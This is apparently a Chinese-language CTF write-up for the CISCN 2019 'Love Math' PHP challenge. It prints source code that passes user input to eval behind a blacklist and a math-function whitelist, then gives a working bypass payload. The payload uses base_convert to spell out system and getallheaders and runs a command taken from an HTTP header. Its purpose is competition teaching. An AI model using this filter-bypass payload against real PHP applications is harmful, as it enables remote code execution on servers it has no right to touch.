[CISCN 2019 初赛]Love Math witeup

先上题目代码

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

我们可以看出这个rce大概有这么几个要求
1.不允许长度超过80

2.黑名单

' ', '\t', '\r', '\n','\'', '"', '', '[', ']'

3.只允许使用指定的数学函数

'abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'

大概就是这三个条件

首先尝试了字符拼接,成功拼出phpinfo

?c=$pi=hypot.sin.floor;$pi=$pi{2}.$pi{0}.$pi{2}.$pi{6}.$pi{7}.$pi{8}.$pi{10};$pi()

然后尝试通过拼接进行rce,发现挺困难的,也没啥别的思路,看了别的大佬的wp

其中的关键函数是base_convert()函数,该函数用于转换进制,通过该函数的36进制等即可用数字构造出字母

base_convert(number,待转换的进制,要转换成的进制);
base_convert(4,10,2);
//100

然后由于该题目无法使用大写字母所以无法使用$_GET$_POST同时由于长度限制,我们使用getallheard()通过{1}来读取header

payload:

?c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1})

生成数字的脚本

<?php
$a='getallheaders';
$b='system';
echo base_convert($a,30,10).'<br>'.base_convert($b,36,10).'<br>';
?>
梦付千秋星垂野,月落长河云卷尘

点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注